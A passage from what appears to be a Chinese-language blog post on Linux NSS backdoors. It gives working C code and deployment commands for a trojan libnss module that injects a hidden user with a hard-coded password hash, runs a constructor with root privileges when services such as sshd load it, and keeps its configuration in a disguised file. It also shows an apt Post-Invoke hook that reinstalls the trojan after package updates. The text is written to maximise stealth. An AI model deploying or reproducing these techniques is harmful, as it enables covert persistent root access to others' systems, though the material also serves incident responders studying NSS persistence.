关键区别在于:精确查询是"按需查找",遍历查询是"逐条枚举"。两者使用完全不同的函数入口。
为什么 6.3 的遍历看不到修改
6.3 的 nop 模块只实现了四个精确查询函数(getpwnam_r、getpwuid_r、initgroups_dyn、getspnam_r),没有实现 getpwent_r。
当 glibc 执行 getent passwd(遍历)时:
getent passwd → 遍历每个数据源
│
├─ nop → 查找 _nss_nop_getpwent_r → 符号不存在 → 跳过
│
├─ files → 遍历 /etc/passwd → 返回所有原始记录
│
└─ systemd → 遍历动态用户 → 返回结果nop 模块被跳过了,所以遍历只看到 files 的原始数据。这是一个"不实现即隐藏"的效果。
如果实现了 getpwent_r 会怎样
如果 nop 模块实现了 getpwent_r 并在其中注入后门数据,getent passwd 就会显示修改后的 landscape(/bin/bash),暴露后门。
如果 nop 模块实现了 getpwent_r 但不注入后门数据(只透传或直接返回 NOTFOUND),遍历结果仍然正常。这就是"显式屏蔽"——实现函数但控制其行为:
enum nss_status
_nss_nop_getpwent_r (struct passwd *result,
char *buffer, size_t buflen, int *errnop)
{
return NSS_STATUS_NOTFOUND;
}
enum nss_status
_nss_nop_setpwent (int stayopen)
{
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_endpwent (void)
{
return NSS_STATUS_SUCCESS;
}结论
策略 | getent passwd(遍历) | getent passwd landscape(精确) | 隐蔽性 |
|---|---|---|---|
不实现 | 显示原始数据 ✅ | 显示修改后数据 ✅ | 高 |
实现 | 显示原始数据 ✅ | 显示修改后数据 ✅ | 高 |
实现 | 显示修改后数据 ❌ | 显示修改后数据 ✅ | 低(暴露) |
6.3 的实现采用了第一种策略(不实现 getpwent_r),已经达到了最佳隐蔽效果。对于 0x05 方式(替换 systemd 模块),情况也类似——5.3 的木马同样没有实现 _nss_systemd_getpwent_r,遍历时 glibc 跳过该模块,后门用户自然不出现在遍历结果中。
这实际上揭示了一个有趣的规律:NSS 后门天然具备遍历隐藏特性——只要木马模块不主动实现 getpwent_r,后门用户就不会出现在 getent passwd 的遍历输出中。
6.5 constructor 代码执行
前面 0x04~6.4 的所有后门都是在 NSS 查询函数中返回伪造数据。但回顾 0x03 的源码分析,glibc 通过 dlopen() 加载 NSS 模块时,.so 中的 __attribute__((constructor)) 函数会自动执行——这就是 0x01 中 CVE-2025-32463 获取 root shell 的原理。
这个机制完全可以用作独立的后门手段:构造一个只含 constructor、不实现任何 NSS 函数的 .so,当任何进程触发该模块加载时,constructor 以该进程的权限自动执行。
验证:
#include<stdio.h>
#include<unistd.h>
__attribute__((constructor))voidon_load(void)
{
FILE *f = fopen("/tmp/nss_constructed", "a");
if (!f) return;
fprintf(f, "uid=%d pid=%d\n", getuid(), getpid());
fclose(f);
}gcc -shared -fPIC -o libnss_nop.so.2 nop.c
cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
sed -i 's/^passwd:.*/passwd: nop files systemd/' /etc/nsswitch.conf部署后随便执行一条会触发 NSS 查询的命令:
文件被创建,constructor 确实以当前进程的权限执行了。如果触发进程是 sshd、sudo、cron 等以 root 运行的服务,constructor 就以 root 权限执行——可以写入 /root/.ssh/authorized_keys、修改 /etc/sudoers.d/、创建 cron 定时任务等。
constructor 与数据劫持是两个独立的攻击维度,可以共存于同一个 .so 中:constructor 负责"一次性"动作(如植入后门),NSS 查询函数负责"持续性"动作(如伪造用户数据)。
6.6 密码可配置化
当前所有后门模块都有一个共同的限制:密码哈希和用户名硬编码在源码中。每次更换密码或用户名都需要重新编译 .so 文件,这在实战中极不方便。
改进方案:将后门配置(用户名、密码哈希、UID/GID)存储在外部文件中,模块在运行时读取。
配置文件设计
选择一个不引人注意的路径存放配置文件,例如 /var/lib/systemd/.nss_cache(混入 systemd 的数据目录中,不容易被注意到):
landscape:$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0:107:109:27格式为 用户名:密码哈希:UID:GID:sudo组GID。
代码实现
在 6.3 的 nop 模块代码基础上,将硬编码的宏定义替换为全局变量,并添加 __attribute__((constructor)) 在模块加载时读取配置文件:
#define CONF_FILE "/var/lib/systemd/.nss_cache"
staticchar cfg_user[64] = "landscape";
staticchar cfg_hash[256] = "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0";
staticint cfg_uid = 107;
staticint cfg_gid = 109;
staticint cfg_sudo_gid = 27;
__attribute__((constructor))staticvoidload_config(void)
{
FILE *f = fopen(CONF_FILE, "r");
if (!f) return;
char line[1024];
if (fgets(line, sizeof(line), f))
{
char *saveptr = NULL;
char *tok;
tok = strtok_r(line, ":\n", &saveptr);
if (tok) strncpy(cfg_user, tok, sizeof(cfg_user) - 1);
tok = strtok_r(NULL, ":\n", &saveptr);
if (tok) strncpy(cfg_hash, tok, sizeof(cfg_hash) - 1);
tok = strtok_r(NULL, ":\n", &saveptr);
if (tok) cfg_uid = atoi(tok);
tok = strtok_r(NULL, ":\n", &saveptr);
if (tok) cfg_gid = atoi(tok);
tok = strtok_r(NULL, ":\n", &saveptr);
if (tok) cfg_sudo_gid = atoi(tok);
}
fclose(f);
}其余函数(getpwnam_r、getpwuid_r、initgroups_dyn、getspnam_r)与 6.3 完全一致,只需将硬编码的宏替换为 cfg_* 变量:
// 6.3 原始(硬编码)
if (strcmp(name, HIJACK_USER) != 0)
return NSS_STATUS_NOTFOUND;
// 6.5 改为(可配置)
if (strcmp(name, cfg_user) != 0)
return NSS_STATUS_NOTFOUND;关键特性
__attribute__((constructor)):模块被dlopen时自动执行load_config(),无需手动调用配置文件不存在时使用默认值:即使配置文件被删除,模块仍以编译时的默认值工作
配置文件路径隐蔽:
/var/lib/systemd/.nss_cache混入 systemd 的数据目录中,不容易被注意到
部署与使用
# 编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop_configurable.c
# 创建配置文件
sudo mkdir -p /var/lib/systemd
echo'landscape:$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0:107:109:27' | \
sudo tee /var/lib/systemd/.nss_cache
sudo chmod 600 /var/lib/systemd/.nss_cache
# 部署
sudo cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/libnss_nop.so.2
sudo sed -i 's/^passwd:.*/passwd: nop files systemd/' /etc/nsswitch.conf
sudo sed -i 's/^shadow:.*/shadow: nop files systemd/' /etc/nsswitch.conf
sudo sed -i 's/^group:.*/group: nop files systemd/' /etc/nsswitch.conf更换密码时,只需修改配置文件,无需重新编译:
# 生成新密码哈希
NEW_HASH=$(openssl passwd -6 -salt newsalt anotherpassword)
echo"landscape:${NEW_HASH}:107:109:27" | sudo tee /var/lib/systemd/.nss_cache注意:根据 6.1 的热加载实验,dlopen 加载模块后,constructor 只执行一次。修改配置文件后,需要触发模块重新加载才能生效。由于 sshd 等服务采用 fork 模型,子进程通过 fork() 继承父进程的整个地址空间(包括已加载 .so 的 mmap 映射和全局变量状态),因此不会重新执行 dlopen 和 constructor。也就是说,已运行的 sshd 主进程及其 fork 出的所有子进程,使用的都是 constructor 首次执行时读取的配置。因此修改配置后,需要重启 sshd 服务(或其他目标服务)才能使新配置生效——重启后新主进程重新加载模块,constructor 读取最新的配置文件。
6.7 持久化——抵御系统更新覆盖
0x05 方式有一个固有的风险:apt upgrade 更新 libnss-systemd 包时,会用正版 .so 覆盖木马模块,后门自动失效。 刚好,当前系统的 libnss-systemd 有更新,天意啊
我们先按照 0x05 方式创建好后门环境(每次实验结束后会还原快照)
方案一:apt-mark hold
最简单的方式是锁定包版本,阻止系统更新:
sudo apt-mark hold libnss-systemd验证(注意:apt list --upgradable 不受 hold 影响,即使 hold 生效仍会显示可升级,应使用以下命令验证):
apt-mark showhold
dpkg --get-selections libnss-systemd
sudo apt upgrade --dry-run 2>&1 | grep -A1 "kept back"缺点:
apt-mark showhold会列出所有被锁定的包,管理员一眼就能发现异常hold 只能阻止
apt upgrade(不带包名)的升级。当管理员显式指定包名时(如apt upgrade libnss-systemd或apt install libnss-systemd),apt 会提示 "The following held packages will be changed" 然后强制升级,hold 被绕过。
方案二:apt Post-Invoke 钩子
更隐蔽的方式是利用 apt 的 DPkg::Post-Invoke 钩子,在每次 apt 操作后自动重新部署木马模块。
创建钩子文件:
sudo tee /etc/apt/apt.conf.d/99nss-update <<'EOF'
DPkg::Post-Invoke { "/usr/local/bin/.nss_restore"; };
EOF创建恢复脚本(隐藏为系统维护脚本):
sudo tee /usr/local/bin/.nss_restore <<'SCRIPT'
#!/bin/bash
TROJAN="/var/lib/systemd/.nss_trojan"
TARGET="/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2"
if [ -f "$TROJAN" ]; then
cp -f "$TROJAN""$TARGET"
chmod 755 "$TARGET"
fi
SCRIPT
sudo chmod 755 /usr/local/bin/.nss_restore预先备份木马模块:
sudo cp /usr/lib/x86_64-linux-gnu/libnss_systemd.so.2 /var/lib/systemd/.nss_trojan这样即使 apt upgrade 覆盖了木马模块,Post-Invoke 钩子也会在 apt 操作完成后立即恢复。
可以看到,无论是升级还是重装软件包,后门均有效。
进一步可以结合 6.2 等内容,绕过 debsums 等实现更加精细化的后门。
总结
本文总结了 NSS 以及其相关的后门技术,NSS 可以控制的内容较多,结合 64 个方法以及 constructor 能做的事就太多,可以再后门方面玩出各种花样
从应急响应的角度说, NSS 是一个容易忽视的内容,相信大家看到这里以后已经有了相关认知,在后续的应急响应以及红队行动中有所注意